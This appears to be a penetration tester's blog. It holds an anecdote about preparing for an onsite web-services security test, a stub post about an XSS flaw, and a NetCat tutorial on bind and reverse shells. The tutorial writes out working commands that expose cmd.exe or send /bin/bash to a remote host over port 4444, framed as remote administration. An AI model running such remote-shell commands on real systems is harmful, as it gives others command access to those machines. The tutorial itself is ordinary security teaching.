Urgent onsite assignment for me

Yesterday, we got an urgent requirement from one of our clients, a multinational banking and insurance firm.
They have a web service that is exposed on their intranet, and needed to test for security, obviously an onsite activity. But for an assignment such as the web services security testing, which including me, only a couple of our resources can carry out, and that too on such short notice of less than a day, I would say we had situation.  I really think training more guys for web services security testing will bring in more projects of similar nature, as currently they are very few and far in between.

Needless to say, I'm always excited about an onsite activity, it's always a tremendous learning experience, and also kind of a break from the day-to-day office. So, I stepped up. Although, had to perform a quick handover, as I was working on a report.

I needed to get my system ready for the job. Although, I had a couple of commercial grade automated tools which work really well, the test wouldn't be complete  without manual validation with some open source tools. A few good tools such as WSDigger, WSAttacker, and the WSFuzzer will definatly help in the testing. What I was surprised to see was that BackTrack 5 does not come with OWASP WSFuzzer. Anyways got the tools installed and all set for the job.

It was way past midnight, by the time I finished researching more about Web Services. All set of the job, a long day ends...

SunnyLeone.com - Cross Site Scripting Vulnerability

This summary is not available. Please click here to view the post.

Bind Shell and Reverse Shell Basics

BIND SHELL

There are a number of ways that you can bind your shell to a port. We will use NetCat to bind a shell.

We can take cmd.exe and bind it to a local port, and anyone connecting to this port will be presented with a command prompt belonging to that computer. This is known as a BIND SHELL.

Scenario 1 :-

As always, the two fictional characters Bob and Alice are trying to connect to each other.

Suppose, Bob is running a Windows machine, and has a public IP, through which he directly connects to the internet. Bob needs Alice's assistance to help him out (basically perform Remote Administration).
Alice, running a Linux machine, however has a NAT connection, and a non-routable IP Address.

So, in order for this to complete, Bob needs to bind his cmd.exe process to a TCP port on his machine
and inform Alice what port to connect to. This can be achieved using NetCat.

Bob will have to execute the following commands using NetCat on his machine :-

$ nc -lvp 4444 -e cmd.exe
-lvp -> listen verbosly on foll port
-e -> bind NetCat to the subsequent process.

This command makes available the cmd.exe process over port 4444 and redirects all the stdout, stdin and stderr to that port.

Alice can now connect to this IP and port from her machine, using NetCat.
$ nc -v 192.168.0.111 4444
Alice will immediately get a windows cmd prompt from where she can manage Bob's machine, depending on the privileges.

REVERSE SHELL

Scenario 2 :-

This is a reverse of scenario 1. Now suppose Alice needs Bob's assistance.

Again as before, Alice has a NAT connection to the internet, and Bob has a public IP. So, Bob cannot directly connect to Alice's computer.
Now Alice can send her command prompt to Bob's machine. As far as network traffic is concerned, Alice will be connecting to Bob's machine.
In this scenario, rather than Alice connecting to Bob's command shell, Alice will be sending her command shell to Bob.

Bob will first start a listener on a given port using NetCat :-
$ nc -lvp 4444

Now Alice will be sending her command prompt over to Bob's machine, again using NC.
This situation is different, because we'll be sending Linux shell rather than a Windows cmd prompt.
So, rather than binding cmd.exe, we'll be binding the bash shell.

$ nc -v 192.168.0.111 4444 -e /bin/bash

After this command the NC listener on Bob's machine will recieve the Linux shell from Alice.
Bob can now execute bash commands on Alice's machine.